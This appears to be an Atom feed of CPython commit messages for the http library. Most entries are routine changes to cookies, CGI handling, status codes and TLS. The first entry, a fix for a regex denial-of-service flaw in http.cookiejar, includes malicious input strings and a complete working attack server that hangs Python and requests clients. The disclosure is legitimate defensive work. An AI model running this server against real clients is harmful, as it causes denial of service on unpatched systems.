<feed xmlns='http://www.w3.org/2005/Atom'>
<title>delta/cpython-git.git/Lib/http, branch misc-acks-comment</title>
<subtitle>github.com: python/cpython.git
</subtitle>
<link rel='alternate' type='text/html' href='http://git.baserock.org/cgit/delta/cpython-git.git/'/>
<entry>
<title>bpo-38804: Fix REDoS in http.cookiejar (GH-17157)</title>
<updated>2019-11-22T14:22:11+00:00</updated>
<author>
<name>bcaller</name>
<email>bcaller@users.noreply.github.com</email>
</author>
<published>2019-11-22T14:22:11+00:00</published>
<link rel='alternate' type='text/html' href='http://git.baserock.org/cgit/delta/cpython-git.git/commit/?id=1b779bfb8593739b11cbb988ef82a883ec9d077e'/>
<id>1b779bfb8593739b11cbb988ef82a883ec9d077e</id>
<content type='text'>
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) &gt; 1 else
                65506  # Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).

LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.

The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to

    \d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.

Matching a malicious string such as

    LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")

caused catastrophic backtracking.

The fix removes ambiguity about which \s* should match a particular
space.

You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.

    from http.server import BaseHTTPRequestHandler, HTTPServer

    def make_set_cookie_value(n_spaces):
        spaces = " " * n_spaces
        expiry = f"1-c-1{spaces}!"
        return f"b;Expires={expiry}"

    class Handler(BaseHTTPRequestHandler):
        def do_GET(self):
            self.log_request(204)
            self.send_response_only(204)  # Don't bother sending Server and Date
            n_spaces = (
                int(self.path[1:])  # Can GET e.g. /100 to test shorter sequences
                if len(self.path) &gt; 1 else
                65506  # Max header line length 65536
            )
            value = make_set_cookie_value(n_spaces)
            for i in range(99):  # Not necessary, but we can have up to 100 header lines
                self.send_header("Set-Cookie", value)
            self.end_headers()

    if __name__ == "__main__":
        HTTPServer(("", 44020), Handler).serve_forever()

This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :

    import http.cookiejar, urllib.request
    cj = http.cookiejar.CookieJar()
    opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
    r = opener.open("http://localhost:44020/")

The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):

    import requests
    requests.get("http://localhost:44020/")

* Regression test for http.cookiejar REDoS

If we regress, this test will take a very long time.

* Improve performance of http.cookiejar.ISO_DATE_RE

A string like

"444444" + (" " * 2000) + "A"

could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-38863: Improve is_cgi() in http.server (GH-17312)</title>
<updated>2019-11-22T09:13:05+00:00</updated>
<author>
<name>Siwon Kang</name>
<email>kkangshawn@gmail.com</email>
</author>
<published>2019-11-22T09:13:05+00:00</published>
<link rel='alternate' type='text/html' href='http://git.baserock.org/cgit/delta/cpython-git.git/commit/?id=91daa9d7224626dad4bb820924c01b3438ca6e3f'/>
<id>91daa9d7224626dad4bb820924c01b3438ca6e3f</id>
<content type='text'>
is_cgi() function of http.server library does not currently handle a
cgi script if one of the cgi_directories is located at the
sub-directory of given path. Since is_cgi() in CGIHTTPRequestHandler
class separates given path into (dir, rest) based on the first seen
'/', multi-level directories like /sub/dir/cgi-bin/hello.py is divided
into head=/sub, rest=dir/cgi-bin/hello.py then check whether '/sub'
exists in cgi_directories = [..., '/sub/dir/cgi-bin'].
This patch makes the is_cgi() keep expanding dir part to the next '/'
then checking if that expanded path exists in the cgi_directories.

Signed-off-by: Siwon Kang &lt;kkangshawn@gmail.com&gt;





https://bugs.python.org/issue38863</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
is_cgi() function of http.server library does not currently handle a
cgi script if one of the cgi_directories is located at the
sub-directory of given path. Since is_cgi() in CGIHTTPRequestHandler
class separates given path into (dir, rest) based on the first seen
'/', multi-level directories like /sub/dir/cgi-bin/hello.py is divided
into head=/sub, rest=dir/cgi-bin/hello.py then check whether '/sub'
exists in cgi_directories = [..., '/sub/dir/cgi-bin'].
This patch makes the is_cgi() keep expanding dir part to the next '/'
then checking if that expanded path exists in the cgi_directories.

Signed-off-by: Siwon Kang &lt;kkangshawn@gmail.com&gt;





https://bugs.python.org/issue38863</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-38216, bpo-36274: Allow subclasses to separately override validation and encoding behavior (GH-16448)</title>
<updated>2019-09-28T12:32:01+00:00</updated>
<author>
<name>Jason R. Coombs</name>
<email>jaraco@jaraco.com</email>
</author>
<published>2019-09-28T12:32:01+00:00</published>
<link rel='alternate' type='text/html' href='http://git.baserock.org/cgit/delta/cpython-git.git/commit/?id=7774d7831e8809795c64ce27f7df52674581d298'/>
<id>7774d7831e8809795c64ce27f7df52674581d298</id>
<content type='text'>
* bpo-38216: Allow bypassing input validation

* bpo-36274: Also allow the URL encoding to be overridden.

* bpo-38216, bpo-36274: Add tests demonstrating a hook for overriding validation, test demonstrating override encoding, and a test to capture expectation of the interface for the URL.

* Call with skip_host to avoid tripping on the host checking in the URL.

* Remove obsolete comment.

* Make _prepare_path_encoding its own attr.

This makes overriding just that simpler.

Also, don't use the := operator to make backporting easier.

* Add a news entry.

* _prepare_path_encoding -&gt; _encode_prepared_path()

* Once again separate the path validation and request encoding, drastically simplifying the behavior. Drop the guarantee that all processing happens in _prepare_path.
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
* bpo-38216: Allow bypassing input validation

* bpo-36274: Also allow the URL encoding to be overridden.

* bpo-38216, bpo-36274: Add tests demonstrating a hook for overriding validation, test demonstrating override encoding, and a test to capture expectation of the interface for the URL.

* Call with skip_host to avoid tripping on the host checking in the URL.

* Remove obsolete comment.

* Make _prepare_path_encoding its own attr.

This makes overriding just that simpler.

Also, don't use the := operator to make backporting easier.

* Add a news entry.

* _prepare_path_encoding -&gt; _encode_prepared_path()

* Once again separate the path validation and request encoding, drastically simplifying the behavior. Drop the guarantee that all processing happens in _prepare_path.
</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-12144: Handle cookies with expires attribute in CookieJar.make_cookies (GH-13921)</title>
<updated>2019-09-13T11:29:00+00:00</updated>
<author>
<name>Xtreak</name>
<email>tir.karthi@gmail.com</email>
</author>
<published>2019-09-13T11:29:00+00:00</published>
<link rel='alternate' type='text/html' href='http://git.baserock.org/cgit/delta/cpython-git.git/commit/?id=bb41147eab15a2958f4ad38261e5bf608f6ace1b'/>
<id>bb41147eab15a2958f4ad38261e5bf608f6ace1b</id>
<content type='text'>
Handle time comparison for cookies with `expires` attribute when `CookieJar.make_cookies` is called.

Co-authored-by: Demian Brecht &lt;demianbrecht@gmail.com&gt;


https://bugs.python.org/issue12144



Automerge-Triggered-By: @asvetlov</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Handle time comparison for cookies with `expires` attribute when `CookieJar.make_cookies` is called.

Co-authored-by: Demian Brecht &lt;demianbrecht@gmail.com&gt;


https://bugs.python.org/issue12144



Automerge-Triggered-By: @asvetlov</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-35640: Allow passing PathLike arguments to SimpleHTTPRequestHandler (GH-11398)</title>
<updated>2019-09-11T13:03:46+00:00</updated>
<author>
<name>Géry Ogam</name>
<email>gery.ogam@gmail.com</email>
</author>
<published>2019-09-11T13:03:46+00:00</published>
<link rel='alternate' type='text/html' href='http://git.baserock.org/cgit/delta/cpython-git.git/commit/?id=781266ebb60e7ac781a3e07030d92275721ff3cf'/>
<id>781266ebb60e7ac781a3e07030d92275721ff3cf</id>
<content type='text'>
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-26589: Add http status code 451 (GH-15413)</title>
<updated>2019-08-23T17:19:15+00:00</updated>
<author>
<name>Raymond Hettinger</name>
<email>rhettinger@users.noreply.github.com</email>
</author>
<published>2019-08-23T17:19:15+00:00</published>
<link rel='alternate' type='text/html' href='http://git.baserock.org/cgit/delta/cpython-git.git/commit/?id=8f080b09953a2d862de5c74edf414a54ea3dbea5'/>
<id>8f080b09953a2d862de5c74edf414a54ea3dbea5</id>
<content type='text'>
</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
</pre>
</div>
</content>
</entry>
<entry>
<title>Correct description of HTTP status code 308. (GH-15078)</title>
<updated>2019-08-03T18:16:34+00:00</updated>
<author>
<name>Florian Wendelborn</name>
<email>1133858+FlorianWendelborn@users.noreply.github.com</email>
</author>
<published>2019-08-03T18:16:34+00:00</published>
<link rel='alternate' type='text/html' href='http://git.baserock.org/cgit/delta/cpython-git.git/commit/?id=5c72badd06a962fe0018ceb9916f3ae66314ea8e'/>
<id>5c72badd06a962fe0018ceb9916f3ae66314ea8e</id>
<content type='text'>
Permanent redirect was explained as a temporary redirect.</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Permanent redirect was explained as a temporary redirect.</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-37440: Enable TLS 1.3 post-handshake auth in http.client (GH-14448)</title>
<updated>2019-07-01T06:32:24+00:00</updated>
<author>
<name>Christian Heimes</name>
<email>christian@python.org</email>
</author>
<published>2019-07-01T06:32:24+00:00</published>
<link rel='alternate' type='text/html' href='http://git.baserock.org/cgit/delta/cpython-git.git/commit/?id=d1bd6e79da1ee56dc1b902d804216ffd267399db'/>
<id>d1bd6e79da1ee56dc1b902d804216ffd267399db</id>
<content type='text'>
Post-handshake authentication is required for conditional client cert authentication with TLS 1.3.


https://bugs.python.org/issue37440</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Post-handshake authentication is required for conditional client cert authentication with TLS 1.3.


https://bugs.python.org/issue37440</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-36793: Remove unneeded __str__ definitions. (GH-13081)</title>
<updated>2019-05-06T19:29:40+00:00</updated>
<author>
<name>Serhiy Storchaka</name>
<email>storchaka@gmail.com</email>
</author>
<published>2019-05-06T19:29:40+00:00</published>
<link rel='alternate' type='text/html' href='http://git.baserock.org/cgit/delta/cpython-git.git/commit/?id=96aeaec64738b730c719562125070a52ed570210'/>
<id>96aeaec64738b730c719562125070a52ed570210</id>
<content type='text'>
Classes that define __str__ the same as __repr__ can
just inherit it from object.</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Classes that define __str__ the same as __repr__ can
just inherit it from object.</pre>
</div>
</content>
</entry>
<entry>
<title>bpo-30458: Use InvalidURL instead of ValueError. (GH-13044)</title>
<updated>2019-05-01T20:39:21+00:00</updated>
<author>
<name>Gregory P. Smith</name>
<email>greg@krypto.org</email>
</author>
<published>2019-05-01T20:39:21+00:00</published>
<link rel='alternate' type='text/html' href='http://git.baserock.org/cgit/delta/cpython-git.git/commit/?id=b7378d77289c911ca6a0c0afaf513879002df7d5'/>
<id>b7378d77289c911ca6a0c0afaf513879002df7d5</id>
<content type='text'>
Use http.client.InvalidURL instead of ValueError as the new error case's exception.</content>
<content type='xhtml'>
<div xmlns='http://www.w3.org/1999/xhtml'>
<pre>
Use http.client.InvalidURL instead of ValueError as the new error case's exception.</pre>
</div>
</content>
</entry>
</feed>
